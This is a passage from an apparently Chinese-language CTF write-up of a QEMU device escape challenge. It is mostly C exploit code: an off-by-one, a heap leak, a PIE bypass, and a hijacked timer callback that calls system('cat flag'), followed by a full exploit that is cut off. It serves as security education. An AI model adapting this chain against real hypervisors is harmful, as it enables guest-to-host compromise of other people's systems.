punctuation">.</span>sub_cmd <span class="token operator">=</span> ENC1<span class="token punctuation">;</span>req<span class="token punctuation">.</span>encoder<span class="token punctuation">.</span>size <span class="token operator">=</span> <span class="token number">0x200</span><span class="token punctuation">;</span><span class="token function">trigger_process</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token function">sleep</span><span class="token punctuation">(</span><span class="token number">1</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token function">puts</span><span class="token punctuation">(</span><span class="token string">"[*] pos += 0x100"</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token function">memset</span><span class="token punctuation">(</span><span class="token operator">&amp;</span>req<span class="token punctuation">,</span> <span class="token number">0</span><span class="token punctuation">,</span> <span class="token keyword">sizeof</span><span class="token punctuation">(</span>req<span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span>req<span class="token punctuation">.</span>timer<span class="token punctuation">.</span>cmd <span class="token operator">=</span> TIMER<span class="token punctuation">;</span>req<span class="token punctuation">.</span>timer<span class="token punctuation">.</span>size <span class="token operator">=</span> <span class="token number">0x100</span><span class="token punctuation">;</span>req<span class="token punctuation">.</span>timer<span class="token punctuation">.</span>offset <span class="token operator">=</span> <span class="token number">0</span><span class="token punctuation">;</span><span class="token function">trigger_process</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token function">sleep</span><span class="token punctuation">(</span><span class="token number">1</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token function">puts</span><span class="token punctuation">(</span><span class="token string">"[*] off-by-one"</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token function">memset</span><span class="token punctuation">(</span><span class="token operator">&amp;</span>req<span class="token punctuation">,</span> <span class="token number">0</span><span class="token punctuation">,</span> <span class="token keyword">sizeof</span><span class="token punctuation">(</span>req<span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span>req<span class="token punctuation">.</span>encoder<span class="token punctuation">.</span>cmd <span class="token operator">=</span> ENC<span class="token punctuation">;</span>req<span class="token punctuation">.</span>encoder<span class="token punctuation">.</span>sub_cmd <span class="token operator">=</span> ENC2<span class="token punctuation">;</span>req<span class="token punctuation">.</span>encoder<span class="token punctuation">.</span>size <span class="token operator">=</span> <span class="token number">0x300</span><span class="token punctuation">;</span>req<span class="token punctuation">.</span>encoder<span class="token punctuation">.</span>data<span class="token punctuation">[</span><span class="token number">0x300</span><span class="token punctuation">]</span> <span class="token operator">=</span> <span class="token number">1</span><span class="token punctuation">;</span><span class="token function">trigger_process</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token function">sleep</span><span class="token punctuation">(</span><span class="token number">1</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token function">printf</span><span class="token punctuation">(</span><span class="token string">"checker = %#lx\n"</span><span class="token punctuation">,</span> <span class="token function">get_checker</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><h3 id="Leak-Heap-Address"><a href="#Leak-Heap-Address" class="headerlink" title="Leak Heap Address"></a>Leak Heap Address</h3><p>可以控制 checker 后，就可以随意多次触发 timer 了，接着下面的步 leak heap</p><ol><li>触发 timer，pos+=0x10，使其越界到 req_addr 指针的位置</li><li>reader，读出 req_addr 指针</li></ol><pre class="line-numbers language-c" data-language="c"><code class="language-c"><span class="token function">puts</span><span class="token punctuation">(</span><span class="token string">"[*] pos += 0x10"</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token function">memset</span><span class="token punctuation">(</span><span class="token operator">&amp;</span>req<span class="token punctuation">,</span> <span class="token number">0</span><span class="token punctuation">,</span> <span class="token keyword">sizeof</span><span class="token punctuation">(</span>req<span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span>req<span class="token punctuation">.</span>timer<span class="token punctuation">.</span>cmd <span class="token operator">=</span> TIMER<span class="token punctuation">;</span>req<span class="token punctuation">.</span>timer<span class="token punctuation">.</span>size <span class="token operator">=</span> <span class="token number">0x10</span><span class="token punctuation">;</span>req<span class="token punctuation">.</span>timer<span class="token punctuation">.</span>offset <span class="token operator">=</span> <span class="token number">0</span><span class="token punctuation">;</span><span class="token function">trigger_process</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token function">sleep</span><span class="token punctuation">(</span><span class="token number">1</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token function">printf</span><span class="token punctuation">(</span><span class="token string">"pos = %#lx\n"</span><span class="token punctuation">,</span> <span class="token function">get_pos</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token function">puts</span><span class="token punctuation">(</span><span class="token string">"[*] reset cache_addr"</span><span class="token punctuation">)</span><span class="token punctuation">;</span>  <span class="token comment">// cache_addr/req_addr</span><span class="token function">memset</span><span class="token punctuation">(</span><span class="token operator">&amp;</span>req<span class="token punctuation">,</span> <span class="token number">0</span><span class="token punctuation">,</span> <span class="token keyword">sizeof</span><span class="token punctuation">(</span>req<span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span>req<span class="token punctuation">.</span>timer<span class="token punctuation">.</span>cmd <span class="token operator">=</span> TIMER<span class="token punctuation">;</span>req<span class="token punctuation">.</span>timer<span class="token punctuation">.</span>size <span class="token operator">=</span> <span class="token number">0</span><span class="token punctuation">;</span>req<span class="token punctuation">.</span>timer<span class="token punctuation">.</span>offset <span class="token operator">=</span> <span class="token number">0</span><span class="token punctuation">;</span><span class="token function">trigger_process</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token function">sleep</span><span class="token punctuation">(</span><span class="token number">1</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token function">printf</span><span class="token punctuation">(</span><span class="token string">"pos = %#lx\n"</span><span class="token punctuation">,</span> <span class="token function">get_pos</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// 0x310</span><span class="token function">puts</span><span class="token punctuation">(</span><span class="token string">"[*] reading data  ..."</span><span class="token punctuation">)</span><span class="token punctuation">;</span>  <span class="token comment">// leak &amp;request</span><span class="token function">memset</span><span class="token punctuation">(</span><span class="token operator">&amp;</span>req<span class="token punctuation">,</span> <span class="token number">0</span><span class="token punctuation">,</span> <span class="token keyword">sizeof</span><span class="token punctuation">(</span>req<span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span>req<span class="token punctuation">.</span>reader<span class="token punctuation">.</span>cmd <span class="token operator">=</span> READ<span class="token punctuation">;</span>req<span class="token punctuation">.</span>reader<span class="token punctuation">.</span>size <span class="token operator">=</span> <span class="token number">0x310</span><span class="token punctuation">;</span>req<span class="token punctuation">.</span>reader<span class="token punctuation">.</span>ptr <span class="token operator">=</span> <span class="token function">gva_to_gpa</span><span class="token punctuation">(</span>buf<span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token function">trigger_process</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token function">sleep</span><span class="token punctuation">(</span><span class="token number">1</span><span class="token punctuation">)</span><span class="token punctuation">;</span>heap <span class="token operator">=</span> <span class="token operator">*</span><span class="token punctuation">(</span><span class="token class-name">uint64_t</span> <span class="token operator">*</span><span class="token punctuation">)</span><span class="token operator">&amp;</span>buf<span class="token punctuation">[</span><span class="token number">0x308</span><span class="token punctuation">]</span><span class="token punctuation">;</span>timer_ptr <span class="token operator">=</span> heap <span class="token operator">+</span> <span class="token number">0x12b8</span><span class="token punctuation">;</span>timer_list_ptr <span class="token operator">=</span> heap <span class="token operator">-</span> <span class="token number">0x110e8c8</span><span class="token punctuation">;</span><span class="token function">printf</span><span class="token punctuation">(</span><span class="token string">"heap address: %#lx\n"</span><span class="token punctuation">,</span> heap<span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token function">printf</span><span class="token punctuation">(</span><span class="token string">"timer_ptr: %#lx\n"</span><span class="token punctuation">,</span> timer_ptr<span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token function">printf</span><span class="token punctuation">(</span><span class="token string">"timer_list_ptr: %#lx\n"</span><span class="token punctuation">,</span> timer_list_ptr<span class="token punctuation">)</span><span class="token punctuation">;</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><h3 id="Leak-Code-Base"><a href="#Leak-Code-Base" class="headerlink" title="Leak Code Base"></a>Leak Code Base</h3><p>接下来要 bypass PIE，泄露程序基址</p><ol><li>此时 pos=0x310，给 timer 设置的触发延时长一点</li><li>利用 encoder 0x2022 功能，再 timer 触发前，修改 req_addr</li><li>timer 触发后，req_addr 已经被修改，再结合 reader 即可任意地址读</li></ol><p>修改 req_addr 为 timer 对象 +0x10 偏移处，这里就是回调函数指针 hfdev_func 的地方了，计算偏移可以找到 system plt 的位置：</p><pre class="line-numbers language-c" data-language="c"><code class="language-c"><span class="token function">puts</span><span class="token punctuation">(</span><span class="token string">"[*] set time delay"</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token function">set_time</span><span class="token punctuation">(</span><span class="token number">5</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token function">puts</span><span class="token punctuation">(</span><span class="token string">"[*] trigger timer, pos+=8"</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token function">memset</span><span class="token punctuation">(</span><span class="token operator">&amp;</span>req<span class="token punctuation">,</span> <span class="token number">0</span><span class="token punctuation">,</span> <span class="token keyword">sizeof</span><span class="token punctuation">(</span>req<span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span>req<span class="token punctuation">.</span>timer<span class="token punctuation">.</span>cmd <span class="token operator">=</span> TIMER<span class="token punctuation">;</span>req<span class="token punctuation">.</span>timer<span class="token punctuation">.</span>size <span class="token operator">=</span> <span class="token number">8</span><span class="token punctuation">;</span><span class="token function">trigger_process</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token function">puts</span><span class="token punctuation">(</span><span class="token string">"[*] modify cache_addr before timer runing"</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token function">memset</span><span class="token punctuation">(</span><span class="token operator">&amp;</span>req<span class="token punctuation">,</span> <span class="token number">0</span><span class="token punctuation">,</span> <span class="token keyword">sizeof</span><span class="token punctuation">(</span>req<span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span>req<span class="token punctuation">.</span>encoder<span class="token punctuation">.</span>cmd <span class="token operator">=</span> ENC<span class="token punctuation">;</span>req<span class="token punctuation">.</span>encoder<span class="token punctuation">.</span>sub_cmd <span class="token operator">=</span> ENC2<span class="token punctuation">;</span>req<span class="token punctuation">.</span>encoder<span class="token punctuation">.</span>size <span class="token operator">=</span> <span class="token number">0x310</span> <span class="token operator">-</span> <span class="token number">1</span><span class="token punctuation">;</span><span class="token operator">*</span><span class="token punctuation">(</span><span class="token class-name">uint64_t</span> <span class="token operator">*</span><span class="token punctuation">)</span><span class="token operator">&amp;</span>req<span class="token punctuation">.</span>encoder<span class="token punctuation">.</span>data<span class="token punctuation">[</span><span class="token number">0x308</span><span class="token punctuation">]</span> <span class="token operator">=</span> heap <span class="token operator">^</span> <span class="token punctuation">(</span>timer_ptr <span class="token operator">+</span> <span class="token number">0x10</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token function">trigger_process</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token function">puts</span><span class="token punctuation">(</span><span class="token string">"waiting for timer"</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token function">sleep</span><span class="token punctuation">(</span><span class="token number">5</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token comment">// getchar();</span><span class="token function">puts</span><span class="token punctuation">(</span><span class="token string">"[*] reading data  ..."</span><span class="token punctuation">)</span><span class="token punctuation">;</span>  <span class="token comment">// leak &amp;request</span><span class="token function">memset</span><span class="token punctuation">(</span><span class="token operator">&amp;</span>req<span class="token punctuation">,</span> <span class="token number">0</span><span class="token punctuation">,</span> <span class="token keyword">sizeof</span><span class="token punctuation">(</span>req<span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span>req<span class="token punctuation">.</span>reader<span class="token punctuation">.</span>cmd <span class="token operator">=</span> READ<span class="token punctuation">;</span>req<span class="token punctuation">.</span>reader<span class="token punctuation">.</span>size <span class="token operator">=</span> <span class="token number">0x318</span><span class="token punctuation">;</span>req<span class="token punctuation">.</span>reader<span class="token punctuation">.</span>ptr <span class="token operator">=</span> <span class="token function">gva_to_gpa</span><span class="token punctuation">(</span>buf<span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token function">trigger_process</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token function">sleep</span><span class="token punctuation">(</span><span class="token number">1</span><span class="token punctuation">)</span><span class="token punctuation">;</span>hfdev_func <span class="token operator">=</span> <span class="token operator">*</span><span class="token punctuation">(</span><span class="token class-name">uint64_t</span> <span class="token operator">*</span><span class="token punctuation">)</span><span class="token operator">&amp;</span>buf<span class="token punctuation">[</span><span class="token number">0x310</span><span class="token punctuation">]</span><span class="token punctuation">;</span>cbase <span class="token operator">=</span> hfdev_func <span class="token operator">-</span> <span class="token number">0x381190</span><span class="token punctuation">;</span>system <span class="token operator">=</span> cbase <span class="token operator">+</span> <span class="token number">0x2d6614</span><span class="token punctuation">;</span>binsh <span class="token operator">=</span> cbase <span class="token operator">+</span> <span class="token number">0x869b82</span><span class="token punctuation">;</span><span class="token function">printf</span><span class="token punctuation">(</span><span class="token string">"hfdev_func = %#lx\n"</span><span class="token punctuation">,</span> hfdev_func<span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token function">printf</span><span class="token punctuation">(</span><span class="token string">"cbase = %#lx\n"</span><span class="token punctuation">,</span> cbase<span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token function">printf</span><span class="token punctuation">(</span><span class="token string">"system = %#lx\n"</span><span class="token punctuation">,</span> system<span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token function">printf</span><span class="token punctuation">(</span><span class="token string">"binsh = %#lx\n"</span><span class="token punctuation">,</span> binsh<span class="token punctuation">)</span><span class="token punctuation">;</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><h3 id="Hijack-Timer"><a href="#Hijack-Timer" class="headerlink" title="Hijack Timer"></a>Hijack Timer</h3><ol><li>Req 结构体上，构造 fake timer</li><li>此时 pos=0x318，使用 0x2022 功能修改 timer 指针指向 fake timer</li><li>触发 timer 执行 <code>system(&quot;cat flag&quot;)</code></li></ol><hr><h3 id="Exp"><a href="#Exp" class="headerlink" title="Exp"></a>Exp</h3><p>完整 exp 如下：</p><pre class="line-numbers language-c" data-language="c"><code class="language-c"><span class="token macro property"><span class="token directive-hash">#</span><span class="token directive keyword">include</span> <span class="token string">&lt;stdio.h></span></span><span class="token macro property"><span class="token directive-hash">#</span><span class="token directive keyword">include</span> <span class="token string">&lt;stdlib.h></span></span><span class="token macro property"><span class="token directive-hash">#</span><span class="token directive keyword">include</span> <span class="token string">&lt;stdint.h></span></span><span class="token macro property"><span class="token directive-hash">#</span><span class="token directive keyword">include</span> <span class="token string">&lt;unistd.h></span></span><span class="token macro property"><span class="token directive-hash">#</span><span class="token directive keyword">include</span> <span class="token string">&lt;string.h></span></span><span class="token macro property"><span class="token directive-hash">#</span><span class="token directive keyword">include</span> <span class="token string">&lt;errno.h></span></span><span class="token macro property"><span class="token directive-hash">#</span><span class="token directive keyword">include</span> <span class="token string">&lt;signal.h></span></span><span class="token macro property"><span class="token directive-hash">#</span><span class="token directive keyword">include</span> <span class="token string">&lt;fcntl.h></span></span><span class="token macro property"><span class="token directive-hash">#</span><span class="token directive keyword">include</span> <span class="token string">&lt;ctype.h></span></span><span class="token macro property"><span class="token directive-hash">#</span><span class="token directive keyword">include</span> <span class="token string">&lt;termios.h></span></span><span class="token macro property"><span class="token directive-hash">#</span><span class="token directive keyword">include</span> <span class="token string">&lt;sys/types.h></span></span><span class="token macro property"><span class="token directive-hash">#</span><span class="token directive keyword">include</span> <span class="token string">&lt;sys/mman.h></span></span><span class="token macro property"><span class="token directive-hash">#</span><span class="token directive keyword">include</span> <span class="token string">&lt;sys/io.h></span></span><span class="token macro property"><span class="token directive-hash">#</span><span class="token directive keyword">include</span> <span class="token string">&lt;stddef.h></span></span><span class="token macro property"><span class="token directive-hash">#</span><span class="token directive keyword">include</span> <span class="token string">&lt;assert.h></span></span><span class="token macro property"><span class="token directive-hash">#</span><span class="token directive keyword">include</span> <span class="token string">&lt;stddef.h></span></span> <span class="token class-name">uint16_t</span> pmio_base <span class="token operator">=</span> <span class="token number">0xc040</span><span class="token punctuation">;</span><span class="token keyword">int</span> pagemap_fd<span class="token punctuation">;</span><span class="token keyword">struct</span> <span class="token keyword">__attribute__</span><span class="token punctuation">(</span><span class="token punctuation">(</span>packed<span class="token punctuation">)</span><span class="token punctuation">)</span> <span class="token class-name">RequestRead</span> <span class="token punctuation">&#123;</span>    <span class="token class-name">uint8_t</span> cmd<span class="token punctuation">;</span>    <span class="token class-name">uint64_t</span> ptr<span class="token punctuation">;</span>    <span class="token class-name">uint16_t</span> size<span class="token punctuation">;</span><span class="token punctuation">&#125;</span><span class="token punctuation">;</span><span class="token keyword">struct</span> <span class="token keyword">__attribute__</span><span class="token punctuation">(</span><span class="token punctuation">(</span>packed<span class="token punctuation">)</span><span class="token punctuation">)</span> <span class="token class-name">RequestTimer</span> <span class="token punctuation">&#123;</span>    <span class="token class-name">uint8_t</span> cmd<span class="token punctuation">;</span>    <span class="token class-name">uint16_t</span> size<span class="token punctuation">;</span>    <span class="token class-name">uint16_t</span> offset<span class="token punctuation">;</span><span class="token punctuation">&#125;</span><span class="token punctuation">;</span><span class="token keyword">struct</span> <span class="token keyword">__attribute__</span><span class="token punctuation">(</span><span class="token punctuation">(</span>packed<span class="token punctuation">)</span><span class="token punctuation">)</span>  <span class="token class-name">RequestEnc</span> <span class="token punctuation">&#123;</span>    <span class="token class-name">uint8_t</span> cmd<span class="token punctuation">;</span>    <span class="token class-name">uint8_t</span> add_key<span class="token punctuation">;</span>    <span class="token class-name">uint8_t</span> xor_key<span class="token punctuation">;</span>    <span class="token class-name">uint16_t</span> sub_cmd<span class="token punctuation">;</span>    <span class="token class-name">uint16_t</span> size<span class="token punctuation">;</span>    <span class="token class-name">uint8_t</span> data<span class="token punctuation">[</span><span class="token number">0x400</span><span class="token operator">-</span><span class="token number">1</span><span class="token operator">-</span><span class="token number">6</span><span class="token punctuation">]</span><span class="token punctuation">;</span><span class="token punctuation">&#125;</span><span class="token punctuation">;</span> <span class="token keyword">void</span> <span class="token function">pmio_write</span><span class="token punctuation">(</span><span class="token class-name">uint16_t</span> addr<span class="token punctuation">,</span><span class="token class-name">uint32_t</span> val<span class="token punctuation">)</span><span class="token punctuation">&#123;</span>    <span class="token function">outw</span><span class="token punctuation">(</span>val<span class="token punctuation">,</span> addr<span class="token operator">+</span>pmio_base<span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token punctuation">&#125;</span> <span class="token class-name">uint64_t</span> <span class="token function">pmio_read</span><span class="token punctuation">(</span><span class="token class-name">uint16_t</span> addr<span class="token punctuation">)</span><span class="token punctuation">&#123;</span>    <span class="token keyword">return</span> <span class="token punctuation">(</span><span class="token class-name">uint32_t</span><span class="token punctuation">)</span><span class="token function">inw</span><span class="token punctuation">(</span>addr<span class="token operator">+</span>pmio_base<span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token punctuation">&#125;</span>  <span class="token macro property"><span class="token directive-hash">#</span><span class="token directive keyword">define</span> <span class="token macro-name">PAGE_SHIFT</span>  <span class="token expression"><span class="token number">12</span></span></span><span class="token macro property"><span class="token directive-hash">#</span><span class="token directive keyword">define</span> <span class="token macro-name">PAGE_SIZE</span>   <span class="token expression"><span class="token punctuation">(</span><span class="token number">1</span> <span class="token operator">&lt;&lt;</span> PAGE_SHIFT<span class="token punctuation">)</span></span></span><span class="token macro property"><span class="token directive-hash">#</span><span class="token directive keyword">define</span> <span class="token macro-name">PFN_PRESENT</span> <span class="token expression"><span class="token punctuation">(</span><span class="token number">1ull</span> <span class="token operator">&lt;&lt;</span> <span class="token number">63</span><span class="token punctuation">)</span></span></span><span class="token macro property"><span class="token directive-hash">#</span><span class="token directive keyword">define</span> <span class="token macro-name">PFN_PFN</span>     <span class="token expression"><span class="token punctuation">(</span><span class="token punctuation">(</span><span class="token number">1ull</span> <span class="token operator">&lt;&lt;</span> <span class="token number">55</span><span class="token punctuation">)</span> <span class="token operator">-</span> <span class="token number">1</span><span class="token punctuation">)</span></span></span><span class="token class-name">uint32_t</span> <span class="token function">page_offset</span><span class="token punctuation">(</span><span class="token class-name">uint32_t</span> addr<span class="token punctuation">)</span><span class="token punctuation">&#123;</span>    <span class="token keyword">return</span> addr <span class="token operator">&amp;</span> <span class="token punctuation">(</span><span class="token punctuation">(</span><span class="token number">1</span> <span class="token operator">&lt;&lt;</span> PAGE_SHIFT<span class="token punctuation">)</span> <span class="token operator">-</span> <span class="token number">1</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token punctuation">&#125;</span><span class="token class-name">uint64_t</span> <span class="token function">gva_to_gfn</span><span class="token punctuation">(</span><span class="token keyword">void</span> <span class="token operator">*</span>addr<span class="token punctuation">)</span><span class="token punctuation">&#123;</span>    <span class="token class-name">uint64_t</span> pme<span class="token punctuation">,</span> gfn<span class="token punctuation">;</span>    <span class="token class-name">size_t</span> offset<span class="token punctuation">;</span>    offset <span class="token operator">=</span> <span class="token punctuation">(</span><span class="token punctuation">(</span><span class="token class-name">uintptr_t</span><span class="token punctuation">)</span>addr <span class="token operator">>></span> <span class="token number">9</span><span class="token punctuation">)</span> <span class="token operator">&amp;</span> <span class="token operator">~</span><span class="token number">7</span><span class="token punctuation">;</span>    <span class="token function">lseek</span><span class="token punctuation">(</span>pagemap_fd<span class="token punctuation">,</span> offset<span class="token punctuation">,</span> <span class="token constant">SEEK_SET</span><span class="token punctuation">)</span><span class="token punctuation">;</span>    <span class="token function">read</span><span class="token punctuation">(</span>pagemap_fd<span class="token punctuation">,</span> <span class="token operator">&amp;</span>pme<span class="token punctuation">,</span> <span class="token number">8</span><span class="token punctuation">)</span><span class="token punctuation">;</span>    <span class="token keyword">if</span> <span class="token punctuation">(</span><span class="token operator">!</span><span class="token punctuation">(</span>pme <span class="token operator">&amp;</span> PFN_PRESENT<span class="token punctuation">)</span><span class="token punctuation">)</span>        <span class="token keyword">return</span> <span class="token operator">-</span><span class="token number">1</span><span class="token punctuation">;</span>    gfn <span class="token operator">=</span> pme <span class="token operator">&amp;</span> PFN_PFN<span class="token punctuation">;</span>    <span class="token keyword">return</span> gfn<span class="token punctuation">;</span><span class="token punctuation">&#125;</span><span class="token class-name">uint64_t</span> <span class="token function">gva_to_gpa</span><span class="token punctuation">(</span><span class="token keyword">void</span> <span class="token operator">*</span>addr<span class="token punctuation">)</span><span class="token punctuation">&#123;</span>    <span class="token class-name">uint64_t</span> gfn <span class="token operator">=</span> <span class="token function">gva_to_gfn</span><span class="token punctuation">(</span>addr<span class="token punctuation">)</span><span class="token punctuation">;</span>    <span class="token function">assert</span><span class="token punctuation">(</span>gfn <span class="token operator">!=</span> <span class="token operator">-</span><span class="token number">1</span><span class="token punctuation">)</span><span class="token punctuation">;</span>    <span class="token keyword">return</span> <span class="token punctuation">(</span>gfn <span class="token operator">&lt;&lt;</span> PAGE_SHIFT<span class="token punctuation">)</span> <span class="token operator">|</span> <span class="token function">page_offset</span><span class="token punctuation">(</span><span class="token punctuation">(</span><span class="token class-name">uint64_t</span><span class="token punctuation">)</span>addr<span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token punctuation">&#125;</span><span class="token keyword">void</span> <span class="token function">set_phy_addr</span><span class="token punctuation">(</span><span class="token keyword">void</span><span class="token operator">*</span> vaddr<span class="token punctuation">)</span><span class="token punctuation">&#123;</span>    <span class="token class-name">uint64_t</span> paddr <span class="token operator">=</span> <span class="token function">gva_to_gpa</span><span class="token punctuation">(</span>vaddr<span class="token punctuation">)</span><span class="token punctuation">;</span>    <span class="token function">pmio_write</span><span class="token punctuation">(</span><span class="token number">2</span><span class="token punctuation">,</span> paddr <span class="token operator">&amp;</span> <span class="token number">0xffff</span><span class="token punctuation">)</span><span class="token punctuation">;</span>    <span class="token function">pmio_write</span><span class="token punctuation">(</span><span class="token number">4</span><span class="token punctuation">,</span> paddr <span class="token operator">>></span> <span class="token number">16</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token punctuation">&#125;</span><span class="token keyword">void</span> <span class="token function">set_request_size</span><span class="token punctuation">(</span><span class="token class-name">uint32_t</span> size<span class="token punctuation">)</span><span class="token punctuation">&#123;</span>    <span class="token function">pmio_write</span><span class="token punctuation">(</span><span class="token number">6</span><span class="token punctuation">,</span> size<span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token punctuation">&#125;</span><span class="token keyword">void</span> <span class="token function">clear</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">&#123;</span>    <span class="token function">pmio_write</span><span class="token punctuation">(</span><span class="token number">8</span><span class="token punctuation">,</span> <span class="token number">0</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token punctuation">&#125;</span><span class="token keyword">void</span> <span class="token function">set_time</span><span class="token punctuation">(</span><span class="token class-name">uint32_t</span> time<span class="token punctuation">)</span><span class="token punctuation">&#123;</span>    <span class="token function">pmio_write</span><span class="token punctuation">(</span><span class="token number">10</span><span class="token punctuation">,</span> time<span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token punctuation">&#125;</span><span class="token class-name">uint64_t</span> <span class="token function">get_pos</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">&#123;</span>    <span class="token keyword">return</span> <span class="token function">pmio_read</span><span class="token punctuation">(</span><span class="token number">8</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token punctuation">&#125;</span><span class="token class-name">uint64_t</span> <span class="token function">get_checker</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">&#123;</span>    <span class="token keyword">return</span> <span class="token function">pmio_read</span><span class="token punctuation">(</span><span class="token number">6</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token punctuation">&#125;</span><span class="token keyword">void</span> <span class="token function">trigger_process</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">&#123;</span>    <span class="token function">pmio_write</span><span class="token punctuation">(</span><span class="token number">12</span><span class="token punctuation">,</span> <span class="token number">0</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token punctuation">&#125;</span><span class="token macro property"><span class="token directive-hash">#</span><span class="token directive keyword">define</span> <span class="token macro-name">ENC</span> <span class="token expression"><span class="token number">0x10</span></span></span><span class="token macro property"><span class="token directive-hash">#</span><span class="token directive keyword">define</span> <span class="token macro-name">READ</span> <span class="token expression"><span class="token number">0x20</span></span></span><span class="token macro property"><span class="token directive-hash">#</span><span class="token directive keyword">define</span> <span class="token macro-name">TIMER</span> <span class="token expression"><span class="token number">0x30</span></span></span><span class="token macro property"><span class="token directive-hash">#</span><span class="token directive keyword">define</span> <span class="token macro-name">ENC1</span> <span class="token expression"><span class="token number">0x2202</span></span></span><span class="token macro property"><span class="token directive-hash">#</span><span class="token directive keyword">define</span> <span class="token macro-name">ENC2</span> <span class="token expression"><span class="token number">0x2022</span></span></span><span class="token keyword">int</span> <span class="token function">main</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">&#123;</span>    <span class="token keyword">char</span> buf<span class="token punctuation">[</span><span class="token number">0x400</span><span class="token punctuation">]</span><span class="token punctuation">;</span>    <span class="token keyword">union</span> <span class="token punctuation">&#123;</span>        <span class="token keyword">struct</span> <span class="token class-name">RequestEnc</span> encoder<span class="token punctuation">;</span>        <span class="token keyword">struct</span> <span class="token class-name">RequestRead</span> reader<span class="token punctuation">;</span>        <span class="token keyword">struct</span> <span class="token class-name">RequestTimer</span> timer<span class="token punctuation">;</span>    <span class="token punctuation">&#125;</span> req<span class="token punctuation">;</span>    <span class="token class-name">uint64_t</span> heap<span class="token punctuation">;</span>    <span class="token class-name">uint64_t</span> timer_ptr<span class="token punctuation">;</span>    <span class="token class-name">uint64_t</span> timer_list_ptr<span class="token punctuation">;</span>    <span class="token class-name">uint64_t</span> hfdev_func<span class="token punctuation">;</span>    <span class="token class-name">uint64_t</span> cbase<span class="token punctuation">;</span>    <span class="token class-name">uint64_t</span> system<span class="token punctuation">;</span>    <span class="token class-name">uint64_t</span> binsh<span class="token punctuation">;</span>    <span class="token class-name">uint64_t</span> <span class="token operator">*</span>fake_timer_ptr<span class="token 